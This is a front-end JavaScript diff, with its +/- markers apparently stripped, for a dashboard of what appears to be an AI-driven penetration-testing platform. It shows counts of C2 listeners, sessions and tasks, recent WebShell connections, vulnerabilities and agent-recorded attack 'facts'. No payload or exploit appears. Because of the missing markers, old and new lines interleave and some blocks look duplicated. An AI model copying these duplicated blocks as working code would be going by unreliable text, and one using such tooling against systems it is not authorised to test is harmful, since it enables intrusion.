var section = document.getElementById('dashboard-section-access');
|
||||
if (!section) return;
|
||||
if (listenersRes === null && sessionsRes === null && tasksRes === null) {
|
||||
|
||||
var c2ConfigOn = window.__c2Enabled !== false;
|
||||
var webshellList = null;
|
||||
if (Array.isArray(webshellRes)) webshellList = webshellRes;
|
||||
else if (webshellRes && Array.isArray(webshellRes.connections)) webshellList = webshellRes.connections;
|
||||
var wsApiOk = webshellRes !== null;
|
||||
var c2ApiOk = listenersRes !== null || sessionsRes !== null || tasksRes !== null;
|
||||
var showC2 = c2ConfigOn && c2ApiOk;
|
||||
var showWs = wsApiOk;
|
||||
|
||||
section.dataset.c2Available = showC2 ? '1' : '0';
|
||||
section.dataset.webshellAvailable = showWs ? '1' : '0';
|
||||
|
||||
if (!showC2 && !showWs) {
|
||||
section.hidden = true;
|
||||
return;
|
||||
}
|
||||
var running = '-';
|
||||
if (listenersRes && Array.isArray(listenersRes.listeners)) {
|
||||
running = String(listenersRes.listeners.filter(function (l) {
|
||||
return (l && (l.status || '').toLowerCase() === 'running');
|
||||
}).length);
|
||||
} else if (listenersRes === null) {
|
||||
running = '-';
|
||||
} else {
|
||||
running = '0';
|
||||
|
||||
if (showC2) {
|
||||
var running = '-';
|
||||
if (listenersRes && Array.isArray(listenersRes.listeners)) {
|
||||
running = String(listenersRes.listeners.filter(function (l) {
|
||||
return (l && (l.status || '').toLowerCase() === 'running');
|
||||
}).length);
|
||||
} else if (listenersRes === null) {
|
||||
running = '-';
|
||||
} else {
|
||||
running = '0';
|
||||
}
|
||||
var online = '-';
|
||||
if (sessionsRes && Array.isArray(sessionsRes.sessions)) {
|
||||
online = String(sessionsRes.sessions.filter(function (s) {
|
||||
if (!s) return false;
|
||||
var st = (s.status || '').toLowerCase();
|
||||
return st === 'active' || st === 'sleeping';
|
||||
}).length);
|
||||
} else if (sessionsRes === null) {
|
||||
online = '-';
|
||||
} else {
|
||||
online = '0';
|
||||
}
|
||||
var pending = '-';
|
||||
if (tasksRes && typeof tasksRes.pending_queued_count === 'number') {
|
||||
pending = String(tasksRes.pending_queued_count);
|
||||
} else if (tasksRes === null) {
|
||||
pending = '-';
|
||||
} else {
|
||||
pending = '0';
|
||||
}
|
||||
setEl('dashboard-c2-listeners-running', running);
|
||||
setEl('dashboard-c2-sessions-online', online);
|
||||
setEl('dashboard-c2-tasks-pending', pending);
|
||||
}
|
||||
var online = '-';
|
||||
if (sessionsRes && Array.isArray(sessionsRes.sessions)) {
|
||||
online = String(sessionsRes.sessions.filter(function (s) {
|
||||
if (!s) return false;
|
||||
var st = (s.status || '').toLowerCase();
|
||||
return st === 'active' || st === 'sleeping';
|
||||
}).length);
|
||||
} else if (sessionsRes === null) {
|
||||
online = '-';
|
||||
} else {
|
||||
online = '0';
|
||||
|
||||
if (showWs) {
|
||||
var wsCount = webshellList ? webshellList.length : 0;
|
||||
setEl('dashboard-webshell-connections', formatNumber(wsCount));
|
||||
renderDashboardWebshellRecent(webshellList || []);
|
||||
}
|
||||
var pending = '-';
|
||||
if (tasksRes && typeof tasksRes.pending_queued_count === 'number') {
|
||||
pending = String(tasksRes.pending_queued_count);
|
||||
} else if (tasksRes === null) {
|
||||
pending = '-';
|
||||
} else {
|
||||
pending = '0';
|
||||
}
|
||||
setEl('dashboard-c2-listeners-running', running);
|
||||
setEl('dashboard-c2-sessions-online', online);
|
||||
setEl('dashboard-c2-tasks-pending', pending);
|
||||
|
||||
section.hidden = false;
|
||||
syncDashboardAccessTabs();
|
||||
if (typeof applyTranslations === 'function') {
|
||||
try { applyTranslations(section); } catch (_e) { /* ignore */ }
|
||||
}
|
||||
}
|
||||
|
||||
/** C2 / WebShell Tab 切换(样式与「最近漏洞 / 近期事实」一致) */
|
||||
function switchDashboardAccessTab(tab) {
|
||||
tab = tab === 'webshell' ? 'webshell' : 'c2';
|
||||
dashboardState.accessTab = tab;
|
||||
applyDashboardAccessTabUI(tab);
|
||||
}
|
||||
|
||||
function applyDashboardAccessTabUI(tab) {
|
||||
var tabC2 = document.getElementById('dashboard-access-tab-c2');
|
||||
var tabWs = document.getElementById('dashboard-access-tab-webshell');
|
||||
var panelC2 = document.getElementById('dashboard-access-panel-c2');
|
||||
var panelWs = document.getElementById('dashboard-access-panel-webshell');
|
||||
if (tabC2) {
|
||||
tabC2.classList.toggle('is-active', tab === 'c2');
|
||||
tabC2.setAttribute('aria-selected', tab === 'c2' ? 'true' : 'false');
|
||||
}
|
||||
if (tabWs) {
|
||||
tabWs.classList.toggle('is-active', tab === 'webshell');
|
||||
tabWs.setAttribute('aria-selected', tab === 'webshell' ? 'true' : 'false');
|
||||
}
|
||||
if (panelC2) panelC2.hidden = tab !== 'c2';
|
||||
if (panelWs) panelWs.hidden = tab !== 'webshell';
|
||||
updateDashboardAccessViewAll(tab);
|
||||
}
|
||||
|
||||
function updateDashboardAccessViewAll(tab) {
|
||||
var link = document.getElementById('dashboard-access-view-all');
|
||||
if (!link) return;
|
||||
if (tab === 'webshell') {
|
||||
link.onclick = function () { try { switchPage('webshell'); } catch (_) {} };
|
||||
link.setAttribute('data-i18n', 'dashboard.webshellGoManage');
|
||||
link.textContent = dt('dashboard.webshellGoManage', null, '进入 WebShell →');
|
||||
} else {
|
||||
link.onclick = function () { try { switchPage('c2-listeners'); } catch (_) {} };
|
||||
link.setAttribute('data-i18n', 'dashboard.c2GoManage');
|
||||
link.textContent = dt('dashboard.c2GoManage', null, '进入 C2 →');
|
||||
}
|
||||
}
|
||||
|
||||
/** 根据可用模块同步 Tab 可见性与默认选中项 */
|
||||
function syncDashboardAccessTabs() {
|
||||
var section = document.getElementById('dashboard-section-access');
|
||||
if (!section || section.hidden) return;
|
||||
|
||||
var showC2 = section.dataset.c2Available === '1';
|
||||
var showWs = section.dataset.webshellAvailable === '1';
|
||||
var tabNav = document.getElementById('dashboard-access-tabs');
|
||||
var tabC2 = document.getElementById('dashboard-access-tab-c2');
|
||||
var tabWs = document.getElementById('dashboard-access-tab-webshell');
|
||||
|
||||
if (tabC2) tabC2.hidden = !showC2;
|
||||
if (tabWs) tabWs.hidden = !showWs;
|
||||
if (tabNav) tabNav.hidden = false;
|
||||
|
||||
var tab = dashboardState.accessTab;
|
||||
if (tab === 'c2' && !showC2) tab = 'webshell';
|
||||
if (tab === 'webshell' && !showWs) tab = 'c2';
|
||||
if (!showC2 && showWs) tab = 'webshell';
|
||||
if (showC2 && !showWs) tab = 'c2';
|
||||
dashboardState.accessTab = tab;
|
||||
applyDashboardAccessTabUI(tab);
|
||||
}
|
||||
|
||||
/** WebShell 接入概览:最近 3 条连接摘要 */
|
||||
function renderDashboardWebshellRecent(list) {
|
||||
var container = document.getElementById('dashboard-webshell-recent');
|
||||
if (!container) return;
|
||||
container.innerHTML = '';
|
||||
if (!list || list.length === 0) {
|
||||
container.hidden = true;
|
||||
return;
|
||||
}
|
||||
var sorted = list.slice().sort(function (a, b) {
|
||||
var ta = (a && a.createdAt) ? Date.parse(a.createdAt) : 0;
|
||||
var tb = (b && b.createdAt) ? Date.parse(b.createdAt) : 0;
|
||||
return tb - ta;
|
||||
});
|
||||
var recent = sorted.slice(0, 3);
|
||||
recent.forEach(function (conn) {
|
||||
if (!conn) return;
|
||||
var item = document.createElement('div');
|
||||
item.className = 'dashboard-webshell-recent-item';
|
||||
item.setAttribute('role', 'button');
|
||||
item.setAttribute('tabindex', '0');
|
||||
var label = (conn.remark || '').trim() || (conn.url || '').trim() || (conn.id || '');
|
||||
var typeTag = (conn.type || 'shell').toUpperCase();
|
||||
item.innerHTML =
|
||||
'<span class="dashboard-webshell-recent-type">' + esc(typeTag) + '</span>' +
|
||||
'<span class="dashboard-webshell-recent-label" title="' + esc(label) + '">' + esc(label) + '</span>';
|
||||
var openWs = function () {
|
||||
try { switchPage('webshell'); } catch (_) {}
|
||||
};
|
||||
item.addEventListener('click', openWs);
|
||||
item.addEventListener('keydown', function (e) {
|
||||
if (e.key === 'Enter' || e.key === ' ') {
|
||||
e.preventDefault();
|
||||
openWs();
|
||||
}
|
||||
});
|
||||
container.appendChild(item);
|
||||
});
|
||||
container.hidden = false;
|
||||
}
|
||||
|
||||
function setEl(id, text) {
|
||||
const el = document.getElementById(id);
|
||||
if (el) el.textContent = text;
|
||||
@@ -1088,12 +1217,9 @@ function renderRecentVulns(res) {
|
||||
if (list.length === 0) {
|
||||
if (empty) {
|
||||
empty.hidden = false;
|
||||
// 升级版空状态:图标 + 标题 + 描述 + 行动按钮,比纯文本更易引导用户下一步
|
||||
// 升级版空状态:标题 + 描述 + 行动按钮,比纯文本更易引导用户下一步
|
||||
empty.classList.add('is-rich');
|
||||
empty.innerHTML = (
|
||||
'<span class="dashboard-empty-icon" aria-hidden="true">' +
|
||||
'<svg width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M9 12l2 2 4-4"/></svg>' +
|
||||
'</span>' +
|
||||
'<div class="dashboard-empty-title">' + esc(dt('dashboard.noVulnYet', null, '暂无最近漏洞')) + '</div>' +
|
||||
'<div class="dashboard-empty-desc">' + esc(dt('dashboard.noVulnDesc', null, '此处展示近期漏洞记录;在对话中完成检测后,新结果会出现在这里')) + '</div>' +
|
||||
'<button type="button" class="dashboard-empty-action" data-action="scan">' +
|
||||
@@ -1109,7 +1235,7 @@ function renderRecentVulns(res) {
|
||||
empty.classList.remove('is-rich');
|
||||
}
|
||||
|
||||
list.slice(0, 5).forEach(function (v) {
|
||||
list.slice(0, 10).forEach(function (v) {
|
||||
const sev = (v.severity || 'info').toLowerCase();
|
||||
const status = (v.status || 'open').toLowerCase();
|
||||
const item = document.createElement('a');
|
||||
@@ -1130,12 +1256,210 @@ function renderRecentVulns(res) {
|
||||
});
|
||||
}
|
||||
|
||||
// 最近漏洞 / 近期事实 Tab 切换(共用列表区域,查看全部链接随 Tab 变化)
|
||||
function switchDashboardFeedTab(tab) {
|
||||
tab = tab === 'facts' ? 'facts' : 'vulns';
|
||||
dashboardState.recentFeedTab = tab;
|
||||
|
||||
var tabVulns = document.getElementById('dashboard-feed-tab-vulns');
|
||||
var tabFacts = document.getElementById('dashboard-feed-tab-facts');
|
||||
var panelVulns = document.getElementById('dashboard-feed-panel-vulns');
|
||||
var panelFacts = document.getElementById('dashboard-feed-panel-facts');
|
||||
if (tabVulns) {
|
||||
tabVulns.classList.toggle('is-active', tab === 'vulns');
|
||||
tabVulns.setAttribute('aria-selected', tab === 'vulns' ? 'true' : 'false');
|
||||
}
|
||||
if (tabFacts) {
|
||||
tabFacts.classList.toggle('is-active', tab === 'facts');
|
||||
tabFacts.setAttribute('aria-selected', tab === 'facts' ? 'true' : 'false');
|
||||
}
|
||||
if (panelVulns) panelVulns.hidden = tab !== 'vulns';
|
||||
if (panelFacts) panelFacts.hidden = tab !== 'facts';
|
||||
updateDashboardFeedViewAll(tab);
|
||||
}
|
||||
|
||||
function updateDashboardFeedViewAll(tab) {
|
||||
var link = document.getElementById('dashboard-feed-view-all');
|
||||
if (!link) return;
|
||||
if (tab === 'facts') {
|
||||
link.onclick = function () { try { switchPage('projects'); } catch (_) {} };
|
||||
} else {
|
||||
link.onclick = function () { try { switchPage('vulnerabilities'); } catch (_) {} };
|
||||
}
|
||||
}
|
||||
|
||||
function setRecentFactsLoading() {
|
||||
var wrap = document.getElementById('dashboard-recent-facts');
|
||||
var empty = document.getElementById('dashboard-recent-facts-empty');
|
||||
if (!wrap) return;
|
||||
clearRecentFactsList(wrap);
|
||||
if (empty) {
|
||||
empty.hidden = false;
|
||||
empty.classList.remove('is-rich');
|
||||
empty.textContent = dt('common.loading', null, '加载中…');
|
||||
}
|
||||
}
|
||||
|
||||
function clearRecentFactsList(wrap) {
|
||||
if (!wrap) return;
|
||||
Array.from(wrap.querySelectorAll('.dashboard-recent-fact-item, .dashboard-recent-facts-meta')).forEach(function (n) { n.remove(); });
|
||||
}
|
||||
|
||||
function setRecentFactsError() {
|
||||
var wrap = document.getElementById('dashboard-recent-facts');
|
||||
var empty = document.getElementById('dashboard-recent-facts-empty');
|
||||
if (!wrap) return;
|
||||
clearRecentFactsList(wrap);
|
||||
if (empty) {
|
||||
empty.hidden = false;
|
||||
empty.classList.remove('is-rich');
|
||||
empty.textContent = dt('common.loadFailed', null, '加载失败');
|
||||
}
|
||||
}
|
||||
|
||||
function factConfidenceShortLabel(confidence) {
|
||||
var c = String(confidence || '').toLowerCase();
|
||||
if (c === 'confirmed') return dt('projects.confidenceConfirmed', null, '已确认');
|
||||
if (c === 'tentative') return dt('projects.confidenceTentative', null, '待确认');
|
||||
return c || '—';
|
||||
}
|
||||
|
||||
function factCategoryShortLabel(category) {
|
||||
var raw = String(category || '').trim();
|
||||
return raw || 'note';
|
||||
}
|
||||
|
||||
// 按 project_id(回退 project_name)稳定映射 8 种配色,同一项目跨刷新颜色一致
|
||||
function projectFactProjectTone(projectId, projectName) {
|
||||
var key = String(projectId || projectName || '').trim();
|
||||
if (!key) return 0;
|
||||
var hash = 0;
|
||||
for (var i = 0; i < key.length; i++) {
|
||||
hash = ((hash << 5) - hash) + key.charCodeAt(i);
|
||||
hash |= 0;
|
||||
}
|
||||
return Math.abs(hash) % 8;
|
||||
}
|
||||
|
||||
function openProjectFactFromDashboard(projectId, factKey) {
|
||||
if (!projectId) return;
|
||||
if (typeof switchPage === 'function') {
|
||||
switchPage('projects');
|
||||
}
|
||||
setTimeout(async function () {
|
||||
if (typeof window.initProjectsPage === 'function') {
|
||||
await window.initProjectsPage();
|
||||
}
|
||||
if (typeof window.selectProject === 'function') {
|
||||
await window.selectProject(projectId);
|
||||
}
|
||||
if (typeof window.switchProjectTab === 'function') {
|
||||
window.switchProjectTab('facts');
|
||||
}
|
||||
if (factKey && typeof window.viewProjectFactBody === 'function') {
|
||||
window.viewProjectFactBody(factKey);
|
||||
}
|
||||
}, 350);
|
||||
}
|
||||
|
||||
function renderRecentFacts(res) {
|
||||
var wrap = document.getElementById('dashboard-recent-facts');
|
||||
var empty = document.getElementById('dashboard-recent-facts-empty');
|
||||
if (!wrap) return;
|
||||
|
||||
clearRecentFactsList(wrap);
|
||||
|
||||
var list = (res && Array.isArray(res.recent_facts)) ? res.recent_facts : [];
|
||||
var totals = (res && res.totals) ? res.totals : {};
|
||||
var activeProjects = totals.active_projects || 0;
|
||||
var totalFacts = totals.total_facts || 0;
|
||||
|
||||
if (list.length === 0) {
|
||||
if (empty) {
|
||||
empty.hidden = false;
|
||||
empty.classList.add('is-rich');
|
||||
var desc = activeProjects > 0
|
||||
? dt('dashboard.noFactsDesc', null, '在绑定项目的对话中,Agent 会自动记录目标、漏洞、攻击链等事实')
|
||||
: dt('projects.selectOrCreateHint', null, '项目用于跨对话共享「事实黑板」:目标、环境、认证等信息会在绑定项目的对话中自动注入。');
|
||||
var ctaLabel = activeProjects > 0
|
||||
? dt('dashboard.goToChat', null, '前往对话')
|
||||
: dt('dashboard.createFirstProjectBtn', null, '创建第一个项目');
|
||||
var ctaAction = activeProjects > 0 ? 'chat' : 'project';
|
||||
empty.innerHTML = (
|
||||
'<div class="dashboard-empty-title">' + esc(dt('dashboard.noFactsYet', null, '暂无近期事实')) + '</div>' +
|
||||
'<div class="dashboard-empty-desc">' + esc(desc) + '</div>' +
|
||||
'<button type="button" class="dashboard-empty-action" data-action="' + esc(ctaAction) + '">' +
|
||||
esc(ctaLabel) + ' →</button>'
|
||||
);
|
||||
var btn = empty.querySelector('[data-action]');
|
||||
if (btn) {
|
||||
btn.onclick = function () {
|
||||
var action = btn.getAttribute('data-action');
|
||||
if (action === 'project') {
|
||||
try { switchPage('projects'); } catch (_) {}
|
||||
setTimeout(function () {
|
||||
if (typeof window.showNewProjectModal === 'function') {
|
||||
window.showNewProjectModal();
|
||||
}
|
||||
}, 350);
|
||||
} else {
|
||||
try { switchPage('chat'); } catch (_) {}
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (empty) {
|
||||
empty.hidden = true;
|
||||
empty.classList.remove('is-rich');
|
||||
}
|
||||
|
||||
list.slice(0, 10).forEach(function (f) {
|
||||
if (!f) return;
|
||||
var category = factCategoryShortLabel(f.category);
|
||||
var confidence = String(f.confidence || 'tentative').toLowerCase();
|
||||
var item = document.createElement('a');
|
||||
item.className = 'dashboard-recent-fact-item';
|
||||
item.setAttribute('role', 'button');
|
||||
item.tabIndex = 0;
|
||||
var pid = f.project_id || '';
|
||||
var fkey = f.fact_key || '';
|
||||
item.onclick = function () { openProjectFactFromDashboard(pid, fkey); };
|
||||
item.onkeydown = function (e) {
|
||||
if (e.key === 'Enter' || e.key === ' ') {
|
||||
e.preventDefault();
|
||||
item.click();
|
||||
}
|
||||
};
|
||||
|
||||
// 置顶列始终占位,避免有/无图钉时后续列错位
|
||||
var pinMark = '<span class="dashboard-recent-fact-pin' + (f.pinned ? ' is-pinned' : '') + '"' +
|
||||
(f.pinned ? (' title="' + esc(dt('projects.pinned', null, '置顶')) + '"') : '') +
|
||||
' aria-hidden="true">' + (f.pinned ? '📌' : '') + '</span>';
|
||||
var projectLabel = (f.project_name || '').trim() || dt('projects.defaultProjectName', null, '项目');
|
||||
var factKeyLabel = (f.fact_key || '').trim() || '—';
|
||||
var projectTone = projectFactProjectTone(pid, projectLabel);
|
||||
var projectCol = '<span class="dashboard-recent-fact-project proj-tone-' + projectTone + '" title="' + esc(projectLabel) + '">' + esc(projectLabel) + '</span>';
|
||||
var categoryBadge = '<span class="dashboard-recent-fact-cat cat-' + esc(category.toLowerCase().replace(/[^a-z0-9_-]/g, '')) + '">' + esc(category) + '</span>';
|
||||
var confBadge = '<span class="dashboard-recent-fact-conf conf-' + esc(confidence) + '">' + esc(factConfidenceShortLabel(confidence)) + '</span>';
|
||||
var summary = '<span class="dashboard-recent-fact-summary" title="' + esc(f.summary || '') + '">' + esc(f.summary || dt('common.untitled', null, '无标题')) + '</span>';
|
||||
var factKeyCol = '<span class="dashboard-recent-fact-key" title="' + esc(factKeyLabel) + '">' + esc(factKeyLabel) + '</span>';
|
||||
var time = '<span class="dashboard-recent-fact-time">' + esc(timeAgoStr(f.updated_at)) + '</span>';
|
||||
|
||||
item.innerHTML = pinMark + categoryBadge + confBadge + summary + factKeyCol + projectCol + time;
|
||||
wrap.appendChild(item);
|
||||
});
|
||||
}
|
||||
|
||||
// 漏洞状态映射:把 status 字符串规整到 4 类(避免脏数据)
|
||||
function statusKey(s) {
|
||||
s = String(s || '').toLowerCase();
|
||||
if (s === 'fixed' || s === 'closed' || s === 'resolved') return 'fixed';
|
||||
if (s === 'confirmed') return 'confirmed';
|
||||
if (s === 'false_positive' || s === 'false-positive' || s === 'fp') return 'fp';
|
||||
if (s === 'ignored') return 'ignored';
|
||||
return 'open';
|
||||
}
|
||||
|
||||
@@ -1144,6 +1468,7 @@ function statusShortLabel(s) {
|
||||
if (k === 'fixed') return dt('dashboard.statusFixed', null, '已修复');
|
||||
if (k === 'confirmed') return dt('dashboard.statusConfirmed', null, '已确认');
|
||||
if (k === 'fp') return dt('dashboard.statusFalsePositive', null, '误报');
|
||||
if (k === 'ignored') return dt('dashboard.statusIgnored', null, '已忽略');
|
||||
return dt('dashboard.statusOpen', null, '待处理');
|
||||
}
|
||||
|
||||
@@ -1224,7 +1549,7 @@ function renderVulnStatusPanel(byStatus, total) {
|
||||
//
|
||||
// bySeverityOpen: { critical, high, medium, low }(只统计 status=open 的漏洞;info 不计入)
|
||||
// totalOpen: 待处理漏洞总数(= critical + high + medium + low),仅用于"全无待处理 → safe"判断
|
||||
// recentVulnsRes: /api/vulnerabilities?limit=5 响应(用于"最近发现"时间,口径是全量,与处置状态无关)
|
||||
// recentVulnsRes: /api/vulnerabilities?limit=10 响应(用于"最近发现"时间,口径是全量,与处置状态无关)
|
||||
function renderSeverityInsights(bySeverityOpen, totalOpen, recentVulnsRes) {
|
||||
var riskBox = document.querySelector('.dashboard-severity-insight-risk');
|
||||
var levelEl = document.getElementById('dashboard-severity-risk-level');
|
||||
|
||||
@@ -2055,7 +2055,7 @@ function showToastNotification(message, type = 'info') {
|
||||
position: fixed;
|
||||
top: 20px;
|
||||
right: 20px;
|
||||
z-index: 10000;
|
||||
z-index: 10100;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 12px;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
+247
-60
@@ -31,6 +31,25 @@ function shouldSkipTaskEventReplayAttach(conversationId) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/** 监控页展示:内部 mcp::tool → 模型侧 mcp__tool */
|
||||
function formatMonitorToolName(name) {
|
||||
if (!name || typeof name !== 'string') return name || '';
|
||||
return name.includes('::') ? name.replace('::', '__') : name;
|
||||
}
|
||||
|
||||
/** 筛选/API:mcp__tool → 内部 mcp::tool(与库存一致) */
|
||||
function canonicalMonitorToolName(name) {
|
||||
if (!name || typeof name !== 'string') return name || '';
|
||||
if (name.includes('::')) return name;
|
||||
const idx = name.indexOf('__');
|
||||
if (idx > 0) return `${name.slice(0, idx)}::${name.slice(idx + 2)}`;
|
||||
return name;
|
||||
}
|
||||
|
||||
function monitorToolNamesEqual(a, b) {
|
||||
return canonicalMonitorToolName(a) === canonicalMonitorToolName(b);
|
||||
}
|
||||
|
||||
if (typeof window !== 'undefined') {
|
||||
window.shouldSkipTaskEventReplayAttach = shouldSkipTaskEventReplayAttach;
|
||||
}
|
||||
@@ -286,6 +305,38 @@ function extractIterationTagFromStreamIdentity(identity) {
|
||||
return s.slice(idx + 6);
|
||||
}
|
||||
|
||||
/** Plan-Execute 多轮 executor/planner 同名代理:仅在同轮次内复用流式条目 */
|
||||
function areMainResponseStreamIterationsCompatible(prevIterTag, streamIterTag, orchestration) {
|
||||
const orch = String(orchestration != null ? orchestration : '').trim();
|
||||
if (orch === 'plan_execute') {
|
||||
return prevIterTag === streamIterTag && prevIterTag !== '';
|
||||
}
|
||||
return !prevIterTag || !streamIterTag || prevIterTag === streamIterTag;
|
||||
}
|
||||
|
||||
/** 仅合并 Eino 对同一段 MessageStream 重复发出的 response_start */
|
||||
function shouldReuseMainResponseStream(progressId, prevStream, responseData, streamOrch) {
|
||||
if (!prevStream || !prevStream.itemId) {
|
||||
return false;
|
||||
}
|
||||
if (!sameMainResponseStreamMeta(prevStream.streamMeta, responseData)) {
|
||||
return false;
|
||||
}
|
||||
const streamId = responseData && responseData.streamId != null ? String(responseData.streamId).trim() : '';
|
||||
if (streamId && prevStream.streamId === streamId) {
|
||||
return true;
|
||||
}
|
||||
const orch = String(streamOrch != null ? streamOrch : '').trim();
|
||||
if (orch === 'plan_execute') {
|
||||
return false;
|
||||
}
|
||||
const prevIterTag = extractIterationTagFromStreamIdentity(prevStream.streamIdentity || '');
|
||||
const streamIterTag = extractIterationTagFromStreamIdentity(
|
||||
buildMainResponseStreamIdentity(progressId, responseData)
|
||||
);
|
||||
return areMainResponseStreamIterationsCompatible(prevIterTag, streamIterTag, orch);
|
||||
}
|
||||
|
||||
// AI 思考流式输出:progressId -> Map(streamId -> { itemId, buffer })
|
||||
const thinkingStreamStateByProgressId = new Map();
|
||||
|
||||
@@ -606,18 +657,126 @@ function mergeStreamBuffer(current, delta, data) {
|
||||
if (typeof window !== 'undefined') {
|
||||
window.streamBufferFromAccumulated = streamBufferFromAccumulated;
|
||||
window.mergeStreamBuffer = mergeStreamBuffer;
|
||||
window.processSseDataLinesYielding = processSseDataLinesYielding;
|
||||
window.flushStreamPlainTextUpdate = flushStreamPlainTextUpdate;
|
||||
window.scheduleStreamPlainTextUpdate = scheduleStreamPlainTextUpdate;
|
||||
}
|
||||
|
||||
/** 流式纯文本 DOM:按帧合并更新,尽量增量 appendData,避免每条 SSE 全量 textContent 阻塞主线程 */
|
||||
const streamPlainDomState = new WeakMap();
|
||||
/** 跟踪仍有待刷新的流式节点,便于快照时间线前一次性 flush */
|
||||
const streamPlainDomPendingElements = new Set();
|
||||
|
||||
function applyStreamPlainTextNow(contentEl, text, state) {
|
||||
if (!contentEl) return;
|
||||
const full = text == null ? '' : String(text);
|
||||
const prevLen = state && state.renderedLen ? state.renderedLen : 0;
|
||||
contentEl.classList.add('timeline-stream-plain');
|
||||
|
||||
if (full.length > prevLen && contentEl.childNodes.length === 1 &&
|
||||
contentEl.firstChild && contentEl.firstChild.nodeType === Node.TEXT_NODE) {
|
||||
const existing = contentEl.firstChild.nodeValue || '';
|
||||
if (existing.length === prevLen && full.startsWith(existing)) {
|
||||
const delta = full.slice(prevLen);
|
||||
if (delta) {
|
||||
contentEl.firstChild.appendData(delta);
|
||||
if (state) {
|
||||
state.renderedLen = full.length;
|
||||
state.pendingText = full;
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
contentEl.textContent = full;
|
||||
if (state) {
|
||||
state.renderedLen = full.length;
|
||||
state.pendingText = full;
|
||||
}
|
||||
}
|
||||
|
||||
function flushStreamPlainTextUpdate(contentEl) {
|
||||
if (!contentEl) return;
|
||||
const state = streamPlainDomState.get(contentEl);
|
||||
if (!state) return;
|
||||
if (state.rafId) {
|
||||
cancelAnimationFrame(state.rafId);
|
||||
state.rafId = 0;
|
||||
}
|
||||
applyStreamPlainTextNow(contentEl, state.pendingText, state);
|
||||
}
|
||||
|
||||
function scheduleStreamPlainTextUpdate(contentEl, text) {
|
||||
if (!contentEl) return;
|
||||
const full = text == null ? '' : String(text);
|
||||
let state = streamPlainDomState.get(contentEl);
|
||||
if (!state) {
|
||||
state = { pendingText: full, rafId: 0, renderedLen: 0 };
|
||||
streamPlainDomState.set(contentEl, state);
|
||||
} else {
|
||||
state.pendingText = full;
|
||||
}
|
||||
streamPlainDomPendingElements.add(contentEl);
|
||||
if (state.rafId) return;
|
||||
state.rafId = requestAnimationFrame(function () {
|
||||
state.rafId = 0;
|
||||
applyStreamPlainTextNow(contentEl, state.pendingText, state);
|
||||
});
|
||||
}
|
||||
|
||||
function resetStreamPlainTextState(contentEl) {
|
||||
if (!contentEl) return;
|
||||
const state = streamPlainDomState.get(contentEl);
|
||||
if (state && state.rafId) {
|
||||
cancelAnimationFrame(state.rafId);
|
||||
}
|
||||
streamPlainDomState.delete(contentEl);
|
||||
streamPlainDomPendingElements.delete(contentEl);
|
||||
}
|
||||
|
||||
function flushAllPendingStreamPlainUpdates() {
|
||||
streamPlainDomPendingElements.forEach(function (el) {
|
||||
if (el && el.isConnected) {
|
||||
flushStreamPlainTextUpdate(el);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/** 流式 delta:纯文本,避免每条全量 marked + DOMPurify */
|
||||
function setTimelineItemContentStreamPlain(contentEl, text) {
|
||||
if (!contentEl) return;
|
||||
contentEl.classList.add('timeline-stream-plain');
|
||||
contentEl.textContent = text == null ? '' : String(text);
|
||||
resetStreamPlainTextState(contentEl);
|
||||
applyStreamPlainTextNow(contentEl, text, null);
|
||||
}
|
||||
|
||||
/**
|
||||
* 分批处理 SSE data 行并在批间让出主线程,避免单次 read() 内数百条事件连续阻塞 UI。
|
||||
* @param {string[]} lines
|
||||
* @param {(event: object) => void} onEvent
|
||||
* @param {{ yieldEvery?: number }} [options]
|
||||
*/
|
||||
async function processSseDataLinesYielding(lines, onEvent, options) {
|
||||
const yieldEvery = (options && options.yieldEvery) || 32;
|
||||
for (let i = 0; i < lines.length; i++) {
|
||||
const line = lines[i];
|
||||
if (line.startsWith('data: ')) {
|
||||
try {
|
||||
onEvent(JSON.parse(line.slice(6)));
|
||||
} catch (e) {
|
||||
console.error('解析事件数据失败:', e, line);
|
||||
}
|
||||
}
|
||||
if ((i + 1) % yieldEvery === 0 && i + 1 < lines.length) {
|
||||
await new Promise(function (resolve) { requestAnimationFrame(resolve); });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** 流结束或非流式:富文本(已消毒的 HTML 字符串) */
|
||||
function setTimelineItemContentStreamRich(contentEl, html) {
|
||||
if (!contentEl) return;
|
||||
resetStreamPlainTextState(contentEl);
|
||||
contentEl.classList.remove('timeline-stream-plain');
|
||||
contentEl.innerHTML = html;
|
||||
}
|
||||
@@ -1022,6 +1181,9 @@ function integrateProgressToMCPSection(progressId, assistantMessageId, mcpExecut
|
||||
const progressElement = document.getElementById(progressId);
|
||||
if (!progressElement) return;
|
||||
|
||||
// 快照 innerHTML 前刷掉尚未执行的 rAF 流式更新,避免过程详情少最后几帧
|
||||
flushAllPendingStreamPlainUpdates();
|
||||
|
||||
// Ensure any "running" tool_call badges are closed before we snapshot timeline HTML.
|
||||
// Otherwise, once the progress element is removed, later 'done' events may not be able
|
||||
// to update the original timeline DOM and the copied HTML would stay "执行中".
|
||||
@@ -1513,10 +1675,16 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
const n = d.iteration != null ? d.iteration : 1;
|
||||
const scope = d.einoScope != null ? String(d.einoScope).trim() : '';
|
||||
if (scope !== 'sub') {
|
||||
const prevMainIter = mainIterationStateByProgressId.get(String(progressId));
|
||||
const prevN = prevMainIter && prevMainIter.iteration != null ? prevMainIter.iteration : null;
|
||||
mainIterationStateByProgressId.set(String(progressId), {
|
||||
iteration: n,
|
||||
orchestration: d.orchestration != null ? d.orchestration : ''
|
||||
});
|
||||
// 主通道进入新轮次后不复用上一轮的「执行输出」时间线条目
|
||||
if (prevN != null && prevN !== n) {
|
||||
responseStreamStateByProgressId.delete(progressId);
|
||||
}
|
||||
}
|
||||
let iterTitle;
|
||||
if (d.orchestration === 'plan_execute' && d.einoScope === 'main') {
|
||||
@@ -1630,7 +1798,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
if (item) {
|
||||
